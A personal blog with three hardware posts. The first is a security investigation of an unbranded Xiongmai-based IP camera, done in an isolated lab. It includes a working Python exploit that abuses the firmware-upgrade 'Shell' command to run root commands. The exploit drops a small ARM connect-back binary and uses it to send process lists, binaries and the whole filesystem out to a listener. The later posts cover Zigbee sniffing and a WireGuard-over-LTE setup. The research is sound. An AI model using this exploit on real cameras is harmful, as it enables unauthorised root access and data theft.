Experimenting with a random Chinese 4K IP Camera

I recently stumbled on an Aliexpress listing for an 8MP, 4K, h.265-capable IP camera in a compact form factor. Neither the listing nor the packaging display any discernible manufacturer. The packaging specifies the model to be GS-BN1BC8MA. At the time of writing, I'm unable to find this model number on Google (nor Bing for that matter).

The product listing specifies the system as Linux on an Mstar processor.

Since similar product listings often mention Cloud NVR features, let's bring this up in an isolated network and see what happens.

Initial network activity

The packaging lists the camera's IP address as without further detail. I therefore set up a network with the router on as well as with DHCP handing out addresses on the .57. subnet. The firewall is set up to drop anything originating from the interface while allowing ESTABLISHED,RELATED ctstates from my normal network. The DNS server on is set up without any upstream servers, so all DNS lookups will fail.

On boot, the camera announces itself with an ARP broadcast as with a MAC address starting with 00:12:31 (the vendor prefix of Motion Control Systems, Inc). The internet suggests that these IP cameras often just squat MAC address space of unrelated companies, so it can be that this company has nothing to do with the camera.

It also starts a DHCP discovery and will accept an offer, but does not seem to use the given IP address consistently. I've seen both cases where it continued using the default and cases where it does use the IP given by DHCP.

We then see infinite periodic ICMP pings and DNS lookup attempts around every 10 seconds or so. ICMP pings go to:

  • (seems to be some Chinese public DNS provider)
  • (Google's public DNS)
  • (Baidu's public DNS)

DNS lookups are attempted for:

  •, via (DHCP-provided) and (alidns public DNS)
  •, via and
  •, via, and

Searching for the domain suggests that the Cloud P2P feature the booklet mentions could be from Xiongmai, implying that segregating the camera into a restricted network might indeed have been a good idea.

Nmap finds these open ports:

# nmap -p-
Starting Nmap 7.80 ( ) at 2022-10-23 12:57 UTC
Nmap scan report for
Host is up (0.00026s latency).
Not shown: 65530 closed ports
80/tcp    open  http
554/tcp   open  rtsp
8000/tcp  open  http-alt
8899/tcp  open  ospf-lite
34567/tcp open  dhanalakshmi

Some Googling hints at port 34567 being related to a protocol called "Polyvision" and it indeed seems the camera responds to UDP broadcasts like this (eth1 being on the isolated network):

# printf '\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfa\x05\x00\x00\x00\x00' | \
socat - udp-datagram:,broadcast,so-bindtodevice=eth1


It also looks like python-dvr works with this camera. With its get_system_info() function, we get an additional identifier for the hardware:

  • 'DeviceModel': 'IPC_NT98566_85N80_S38'
  • 'HardWare': 'IPC_NT98566_85N80_S38'

And capabilities:

{'AlarmFunction': {'AlarmConfig': True,
                'BlindDetect': True,
                'HumanDection': True,
                'HumanPedDetection': True,
                'LossDetect': True,
                'MotionDetect': True,
                'NetAbort': True,
                'NetAlarm': True,
                'NetIpConflict': True,
                'PEAInHumanPed': True,
                'StorageFailure': True,
                'StorageLowSpace': True,
                'StorageNotExist': True},
'CommFunction': {'CommRS232': True, 'CommRS485': True},
'EncodeFunction': {'DoubleStream': True,
                    'SmartH264V2': True,
                    'SnapStream': True},
'NetServerFunction': {'IPAdaptive': True,
                    'NetAlarmCenter': True,
                    'NetDDNS': True,
                    'NetDHCP': True,
                    'NetDNS': True,
                    'NetEmail': True,
                    'NetFTP': True,
                    'NetIPFilter': True,
                    'NetMutlicast': False,
                    'NetNTP': True,
                    'NetNat': True,
                    'NetPMS': True,
                    'NetPMSV2': True,
                    'NetRTSP': True,
                    'NetUPNP': True,
                    'OnvifPwdCheckout': True,
                    'WifiRouteSignalLevel': True},
'OtherFunction': {'NOHDDRECORD': True,
                'SupportAdminContactInfo': True,
                'SupportAlarmVoiceTipInterval': True,
                'SupportAlarmVoiceTips': True,
                'SupportAlarmVoiceTipsType': True,
                'SupportAppBindFlag': True,
                'SupportBT': True,
                'SupportCamareStyle': True,
                'SupportCfgCloudupgrade': True,
                'SupportChangeLanguageNoReboot': True,
                'SupportCloseVoiceTip': True,
                'SupportCloudUpgrade': True,
                'SupportCommDataUpload': True,
                'SupportDimenCode': True,
                'SupportFTPTest': True,
                'SupportFaceDetectV2': True,
                'SupportMailTest': True,
                'SupportPCSetDoubleLight': True,
                'SupportPWDSafety': True,
                'SupportSetVolume': True,
                'SupportShowH265X': True,
                'SupportSnapV2Stream': True,
                'SupportSoftPhotosensitive': True,
                'SupportTextPassword': True,
                'SupportTimeZone': True,
                'SupportWriteLog': True,
                'SuppportChangeOnvifPort': True},
'PreviewFunction': {'Talk': True},
'TipShow': {'NoBeepTipShow': True}}

Encoder settings ("Simplify.Encode"):

[{'ExtraFormat': {'AudioEnable': True,
                'Video': {'BitRate': 439,
                            'BitRateControl': 'VBR',
                            'Compression': 'H.265',
                            'FPS': 15,
                            'GOP': 2,
                            'Quality': 4,
                            'Resolution': 'HD1',
                            'VirtualGOP': 1},
                'VideoEnable': True},
'MainFormat': {'AudioEnable': True,
                'Video': {'BitRate': 1962,
                        'BitRateControl': 'VBR',
                        'Compression': 'H.265',
                        'FPS': 10,
                        'GOP': 2,
                        'Quality': 3,
                        'Resolution': '4K',
                        'VirtualGOP': 1},
                'VideoEnable': True}}]


Googling for the device model we found (IPC_NT98566_85N80_S38) yields just one pair of results at the time of writing - but luckily it takes us to a firmware update.

The zip file contains 4 bin files:

  • FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all.bin
  • FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all.bin
  • FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all.bin
  • General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all.bin

These seem to actually also be ZIP archives we can unpack to get:

148b39bc79c603df94c53ce53663f590  ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.bin.img
148b39bc79c603df94c53ce53663f590  ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.bin.img
148b39bc79c603df94c53ce53663f590  ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.bin.img
148b39bc79c603df94c53ce53663f590  ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.bin.img

298bd81d05f88ef8446190ae31de8da3  ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/loader.bin.img
298bd81d05f88ef8446190ae31de8da3  ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/loader.bin.img
298bd81d05f88ef8446190ae31de8da3  ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/loader.bin.img
298bd81d05f88ef8446190ae31de8da3  ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/loader.bin.img

4187676e2b94c511eb4b9a3db4238d53  ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/web-x.squashfs.img
4187676e2b94c511eb4b9a3db4238d53  ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/web-x.squashfs.img
4187676e2b94c511eb4b9a3db4238d53  ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/web-x.squashfs.img
4187676e2b94c511eb4b9a3db4238d53  ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/web-x.squashfs.img

534a17dfb80204176cea58d53a502848  ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/romfs-x.squashfs.img
534a17dfb80204176cea58d53a502848  ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/romfs-x.squashfs.img
534a17dfb80204176cea58d53a502848  ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/romfs-x.squashfs.img
534a17dfb80204176cea58d53a502848  ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/romfs-x.squashfs.img

58d79de537e0d92e8271ee95e044d39c  ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.env.img
58d79de537e0d92e8271ee95e044d39c  ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.env.img
58d79de537e0d92e8271ee95e044d39c  ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.env.img
58d79de537e0d92e8271ee95e044d39c  ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/u-boot.env.img

6bcb7228e9de76c99a290984d9416f4a  ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/InstallDesc
6f21727c0ebc4689967ac4889c8dcd4a  ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/custom-x.squashfs.img
6f3754a39d5ea23062667e9ead4177ed  ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/InstallDesc
a2bbe7ae2caf6ee68f8c5247731a4e15  ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/InstallDesc
bded1bc502b172655ea1fbd7e37b3b3a  ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/custom-x.squashfs.img
be58856026fb99305023d58cfb4ed2d4  ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/custom-x.squashfs.img
cd06c03759cfaaa8b8e0ff5c7b17ffff  ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/custom-x.squashfs.img
da952acca72f01b60d9910a48eaa5488  ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/InstallDesc

f387bbd4b694fb3cc96c67d6515c93d4  ./FixAutoIR_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/user-x.squashfs.img
f387bbd4b694fb3cc96c67d6515c93d4  ./FixDoubleLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/user-x.squashfs.img
f387bbd4b694fb3cc96c67d6515c93d4  ./FixWarmLight_General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/user-x.squashfs.img
f387bbd4b694fb3cc96c67d6515c93d4  ./General_IPC_NT98566_85N80_S38.Nat.dss.OnvifS.HIK_V5.00.R02.20220913_all/user-x.squashfs.img

sorting them by md5 hash like this makes it quite obvious which files are common to all of them. The ones with differences seem to be InstallDesc and custom-x.squashfs.img. In InstallDesc, the difference seems to be just the CRC and Mx8Q value.

u-boot Environment

We can dump the U-Boot environment with dumpimage from the u-boot-tools package and some Python hackery to remove trailing null bytes and splitting variable definitions on null byte separators to get:

ld=mw.b 0x01000000 ff 100000;tftpboot 0x01000000 loader.bin.img;flwrite
df=mw.b 0x01000000 ff 100000;tftpboot 0x01000000 fdt.bin.img;flwrite
da=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 u-boot.bin.img;sf probe 0;flwrite
de=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 u-boot.env.img;sf probe 0;flwrite
dl=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 logo-x.squashfs.img;sf probe 0;flwrite
dr=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 romfs-x.squashfs.img;sf probe 0;flwrite
du=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 user-x.squashfs.img;sf probe 0;flwrite
dc=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 custom-x.squashfs.img;sf probe 0;flwrite
dw=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 web-x.squashfs.img;sf probe 0;flwrite
dd=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 mtd-x.jffs2.img;sf probe 0;flwrite
up=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 update.img;sf probe 0;flwrite
ua=mw.b 0x01000000 ff 0x800000;tftpboot 0x01000000 upall_verify.img;sf probe 0;flwrite
tk=tftpboot 0x01000000 uImage;setenv setargs setenv bootargs ${bootargs};run setargs;nvt_boot 0x01000000
loadlogo=sf probe 0;sf read 0x02000000  ;logoload 0x02000000;decjpg 0;bootlogo
loadromfs=sf probe 0;sf read 0x02000000 0x40000 0x2E0000;squashfsload;nvt_boot
bootcmd=setenv setargs setenv bootargs ${bootargs};run setargs;run loadromfs
bootargs=earlyprintk console=ttyS0,115200 init=linuxrc mem=${osmem} rootwait nprofile_irq_duration=on root=/dev/mtdblock2 rootfstype=squashfs mtdparts=spi_nor.0:0x10000(loader),0x30000(boot),0x2E0000(romfs),0x420000(usr),0x40000(web),0x30000(custom),0x50000(mtd)
ver=U-Boot 2016.07 (May 15 2019 - 21:34:56 +0800)

SquashFS images

We can also use dumpimage to convert the *.squashfs.img to bare SquashFS filsystems which we can then extract with unsquashfs. This works nicely to just get a look at the files, but it does not preserve the symlinks in some places.

A first obvious thing is to have a look at /etc/passwd. If we search for the root password hash on the internet, it seems to be a well-known password and also shows up in some Mirai botnet related testers for known hardcoded default credentials.

We can go a bit more fancy and mount the images:

mount "$FW_DIR/romfs-x.squashfs" "$MOUNT_DIR" -t squashfs -o loop
mount "$FW_DIR/user-x.squashfs" "$MOUNT_DIR/usr" -t squashfs -o loop
mount "$FW_DIR/web-x.squashfs" "$MOUNT_DIR/mnt/web" -t squashfs -o loop
mount "$FW_DIR/custom-x.squashfs" "$MOUNT_DIR/mnt/custom" -t squashfs -o loop

which will recreate the filesystem hierarchy the camera sees. This is not quite everything that is mounted, but you can see the exact setup in /etc/init.d/rcS. There, we can also see that the main application (/usr/bin/App) seems to be launched through /usr/sbin/


The InstallDesc file is interesting since it contains instructions for what to do when running an upgrade. At first glance, it looks like there is some sort of integrity checking with the CRC and Mx8Q values.

The python-dvr project we used earlier has a method to apply such firmware upgrades, but more interestingly, it also has a script It uses a "Shell" command instead of "Burn" to run scripts. The constructed InstallDesc file however seems to use some hardcoded CRC value independent of what script is run, suggesting that the CRC is not actually checked.

Sadly our firmware does not seem to include a telnetd binary, but we can test by pinging our router:

import zipfile
import argparse
import json

from dvrip import DVRIPCam

def make_zip(filename, cmd):
    data = json.dumps({
        "UpgradeCommand": [{"Command": "Shell", "Script": cmd}],
        "Hardware": "IPC_NT98566_85N80_S38",
        "DevID": "000639I21001000000000200",
        "Vendor": "General",
        "CompatibleVersion": 1,
        }, indent=2)
    with zipfile.ZipFile(filename, "w", zipfile.ZIP_DEFLATED) as zipf:
        zipf.writestr("InstallDesc", data)

def main():
    cam = DVRIPCam("<YOUR_CAMERA_IP>", user="admin", password="")
    if not cam.login():
        print("Cannot connect")
    make_zip("/tmp/update.bin", "/bin/ping -c 5 <YOUR_ROUTER_IP>")

if __name__ == "__main__":

and indeed, running this causes 5 ICMP pings to show up at the router without even specifying a CRC or Mx8Q value at all! As is, this however does seem to reboot the camera afterwards.

Poking at the App code

If we look at the App binary in a disassembler (e.g. Ghidra) to get a better idea what happens during an upgrade, we can find logging printf calls implying a function called CUpgrader::onUpgrade. Without having done a detailed analysis, it looks like this function has two ways of operating:

  • Shelling out to /usr/bin/upgrader
  • Doing stuff itself

The upgrade part directly in the App binary seems to have code to check the CRC (unless disabled through CheckVersionCRC in InstallDesc) and Mx8Q values, but it does not seem to happen for our shell command payload (or the camera is running an older firmware without the code). Computing the Mx8Q value seems to involve some sort of MD5 hashing.

The App implementation will also skip over shell commands that contain as a substring any of:

  • telnetd
  • sleep
  • /debug

or if they are longer than 100 characters. These restrictions look like attempts to deal with some of the exploitation history around this vendor - but since there are many ways to break strings up in a shell, a substring match like this is entirely pointless as long as you let clients feed anything else they like into a system() call.

Getting some data back

So far, we've only run some pings - a nice way to get an observable side-effect to confirm it's working - but not really anything helping us to get data out. Looking at all available binaries on from the SquashFS images, it sadly looks like we don't have anything interesting to open some sort of connection. We could maybe abuse the built-in web server, but the web root is on a read-only filesystem we'd have to mount a ramfs over to be able to write outputs.

So instead, let's try to ship a binary of our choice over to the camera. While we're limited to 100 bytes per shell command, we can add multiple shell commands which will be run in sequence. In terms of what to run, we want something small that can communicate over the network. Doing some research, I stumbled on sockout which is a minimal ELF binary providing the bare minimum of netcat functionality. So let's take sockconnect and put our IP (, aka. \xc0\xa8\x39\x01 in network byte order) at the end and combine it with our previous script:

import zipfile
import argparse
import json

from dvrip import DVRIPCam

def make_zip(filename, cmd):
    upgrade_command = []
    if isinstance(cmd, str):
        upgrade_command.append({"Command": "Shell", "Script": cmd})
        for c in cmd:
        upgrade_command.append({"Command": "Shell", "Script": c})
    data = json.dumps({
        "UpgradeCommand": upgrade_command,
        "Hardware": "IPC_NT98566_85N80_S38",
        "DevID": "000639I21001000000000200",
        "Vendor": "General",
        "CompatibleVersion": 1,
        }, indent=2)
    with zipfile.ZipFile(filename, "w", zipfile.ZIP_DEFLATED) as zipf:
        zipf.writestr("InstallDesc", data)

def main():
    cam = DVRIPCam("<IP of camera>", user="admin", password="")
    if not cam.login():
        print(f"Cannot connect")

    make_zip("/tmp/update.bin", [
        r"printf '\x7f\x45\x4c\x46\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00' > /var/sc",
        r"printf '\x02\x00\x28\x00\x20\x00\x20\x00\x20\x00\x20\x00\x04\x00\x00\x00' >> /var/sc",
        r"printf '\x09\x10\x8f\xe2\x11\xff\x2f\xe1\x34\x00\x20\x00\x01\x00\x00\x00' >> /var/sc",
        r"printf '\x02\x20\x01\x21\x52\x40\xc8\x27\x51\x37\x00\xdf\x04\x1c\x0c\xa1' >> /var/sc",
        r"printf '\x10\x22\x02\x37\x00\xdf\x01\x23\x9b\x02\x69\x46\xc9\x1a\x8d\x46' >> /var/sc",
        r"printf '\x00\x20\x1a\x1c\x03\x27\x00\xdf\x02\x1c\x20\x1c\x04\x27\x00\xdf' >> /var/sc",
        r"printf '\x00\x2a\xf5\xdc\x20\x1c\x06\x27\x00\xdf\x40\x40\x01\x27\x00\xdf' >> /var/sc",
        r"printf '\x02\x00\x11\x5c\xc0\xa8\x39\x01' >> /var/sc",
        'chmod +x /var/sc',
        'ps aux | /var/sc',

if __name__ == '__main__':

We can listen for this with nc -l 4444 on our router and get:

  1 root      1548 S    linuxrc
  2 root         0 SW   [kthreadd]
  3 root         0 IW<  [rcu_gp]
  4 root         0 IW<  [rcu_par_gp]
  5 root         0 IW   [kworker/0:0-eve]
  6 root         0 IW<  [kworker/0:0H-kb]
  7 root         0 IW   [kworker/u2:0-ev]
  8 root         0 IW<  [mm_percpu_wq]
  9 root         0 SW   [ksoftirqd/0]
 10 root         0 IW   [rcu_preempt]
 11 root         0 IW   [rcu_sched]
 12 root         0 IW   [rcu_bh]
 13 root         0 SW   [kdevtmpfs]
 14 root         0 SW   [rcu_tasks_kthre]
 15 root         0 SW   [oom_reaper]
 16 root         0 IW<  [writeback]
 17 root         0 SW   [kcompactd0]
 18 root         0 IW<  [crypto]
 19 root         0 IW<  [kblockd]
 20 root         0 SW   [watchdogd]
 21 root         0 SW   [irq/52-DAI_INT]
 22 root         0 IW   [kworker/0:1-eve]
 23 root         0 IW<  [rpciod]
 24 root         0 IW<  [kworker/u3:0]
 25 root         0 IW<  [xprtiod]
 26 root         0 SW   [kswapd0]
 27 root         0 IW<  [nfsiod]
 37 root         0 IW   [kworker/u2:1-ev]
 71 root         0 IW   [kworker/0:2-mtd]
 72 root         0 IW<  [kworker/0:1H-kb]
 87 root         0 SWN  [jffs2_gcd_mtd6]
126 root         0 DW   [timer_ist]
131 root         0 DW   [nvt_ddr_proc_ts]
149 root         0 DW   [kdrv_ise_proc_t]
150 root         0 DW   [kdrv_ise_cb_tsk]
288 root         0 DW   [ae_tsk]
289 root         0 DW   [ae_tsk]
292 root         0 DW   [awb_tsk]
293 root         0 DW   [awb_tsk]
296 root         0 DW   [iq_tsk]
297 root         0 DW   [iq_tsk]
309 root     12400 S    XmServices_Mgr /usr/sbin/ /mnt/mtd/Config/
315 root      1544 S    {} /bin/sh /usr/sbin/
317 root     89704 S    /usr/bin/App
409 root      1544 S    /bin/sh -c ps | /var/sc
410 root      1548 R    ps
411 root      2188 S    /var/sc

As we can't see /usr/bin/upgrader in this, it indeed looks like we're hitting the upgrade code within the App binary itself. We can also get the App binary from the camera by applying the same trick to run cat /usr/bin/App | /var/sc.

Comparing the md5sum for both the on-camera binary and the one from the firmware update reveals a difference:

  • db5f42a51af844b133ef440519a0513e (camera)
  • 9a40ddf089ffdb5f9565aeb93279d250 (update)

While we're at it, we might as well also just ship over the whole filesystem since we have tar available: tar -c --exclude=proc --exclude=dev --exclude=sys / | /var/sc.

Zigbee sniffing with the Makerdiary nRF52840 MDK USB Dongle

The nRF52840 MDK USB Dongle from Makerdiary is a small little dev board featuring an nRF52840 and plugging directly into a USB 2 A port. One of the things you can do with it is to sniff Zigbee traffic.


By default these days, the dongle will ship with the UF2 bootloader. Plugging the dongle in while holding the button pressed will trigger it and you will see a combination of USB mass storage device and serial port for programming.

Nordic Semiconductor provides a (closed-source) firmware and necessary Wireshark plugin on Github. Unfortunately I did not have much success converting it to uf2 and flashing it with the UF2 bootloader, so let's go back to the Open Bootloader we can use with Nordic's tools.

To do so, we can follow the instructions. I'm doing this on powershell and with a dedicated virtualenv:

> python -m venv venv
> . .\venv\Scripts\Activate.ps1
> pip install adafruit-nrfutil
> adafruit-nrfutil.exe --verbose dfu serial --package .\ -p COM7 -b 115200 --singlebank

The referenced zip file comes from the same repository as the instructions. The COM port depends on your system -> check device manager.


With the new bootloader, we can now simply follow the instructions from Nordic and use nRF Connect for Desktop to flash the firmware.

Make sure you tell Wireshark about your network's key (eg. from the configuration.yaml if you're using Zigbee2MQTT) to get the packets nicely decoded.

Backup Wireguard VPN over LTE with a SIM7000E

Sometimes it can be useful to have an out of band way to monitor and/or SSH into your Raspberry Pi - for example when the normal internet connection has issues.

Waveshare has an interesting NB-IoT / Cat-M Pi Hat using a SIM7000E module for LTE wireless connectivity. While this doesn't give you amazing data rates, it is enough to perform some monitoring and do manual SSH debugging.

The setup I wanted to go for is a Wireguard tunnel that can use the LTE connection if available. The way this works is via a PPP connection like any other modem. For this, we need to apt install ppp pppconfig wireguard. You can run pppconfig to set up some default config - it doesn't really matter what settings you choose as we will overwrite them again.

PPP Config

First up is /etc/ppp/options. My provider does not require any authentication (if yours does, you can find plenty of PPP config examples on the internet):

holdoff 10
maxfail 0

We'll also change /etc/ppp/peers/provider to use these options and a chatscript:

file /etc/ppp/options
connect "/usr/sbin/chat -v -f /etc/chatscripts/provider"

The chatscript goes in /etc/chatscripts/provider:

# Abortstring - responses that indicate errors

# Send AT so the modem autobauding can detect the baud rate
'' AT

# Set result mode
'OK' 'ATQ0'

# Reset settings to defaults

# Query some modem and network debug info for the log

# Set Cat-M mode

# Set LTE only

# Set the APN
OK AT+CGDCONT=1,"IP","internet",,0,0

# Dial
OK ATD*99#

Since my provider only supports Cat-M but not NB-IoT, I'm forcing the modem to use it. You can also remove the corresponding line or change it to NB-IoT (see the SIM7000E datasheet for valid values)

You should now be able to run pon to establish a connection. Log messages appear in /var/log/messages. After the connection is established, you should see a ppp0 interface.

Test your connection:

# ping -I ppp0
PING ( from ppp0: 56(84) bytes of data.
64 bytes from icmp_seq=1 ttl=58 time=297 ms
64 bytes from icmp_seq=2 ttl=58 time=82.9 ms

Transfer Speed

The configuration above is relatively simple and just uses the maximum autobaud speed of 115200 baud. This will likely limit your throughput below what LTE can do. The SIM7000E supports higher baud rates, but you have to manually switch the rate through AT commands.

For example, you could send AT+IPR=921600 to the modem and update /etc/ppp/options accordingly to achieve higher speeds. You can't do this through the chatscript though as it would have to switch speeds in the middle.

Autostart on Boot

You can for example use a custom systemd unit to start the connection on boot.


The wireguard setup is pretty much standard with the addition of an FwMark, so my configuration looks something like this in /etc/wireguard/wg0.conf:

PrivateKey = YOURKEY
Address =
FwMark = 51821

AllowedIPs =
Endpoint = YOUR_SERVER_IP:51821
PersistentKeepalive = 600

What the FwMark lets us do is selectively route the encrypted Wireguard packets through ppp0 when it's up (and via the normal gateway otherwise) by using a new kernel routing table and sending packets with the mark there.

PPP has hooks we can use to activate the config when the interface goes up/down.



# Reset routing table 10 to empty
ip route flush table 10

# Table 10 should send per default via ppp0
ip route add default table 10 dev ppp0

# And we'll use the fwmark to send wireguard traffic there
ip rule add fwmark 51821 table 10


ip rule del fwmark 51821 table 10
ip route flush table 10

Use wg-quick as usual to manage the interface.

Resetting the SIM7000E

If you have issues during testing or want to do some sort of watchdog reset, you can avoid having to unplug the whole thing by using the on/off control pin wired through to the Pi. For example in Python:

#!/usr/bin/env python
import time
import RPi.GPIO as G

G.setup(4, G.OUT)
G.output(4, True)
G.output(4, False)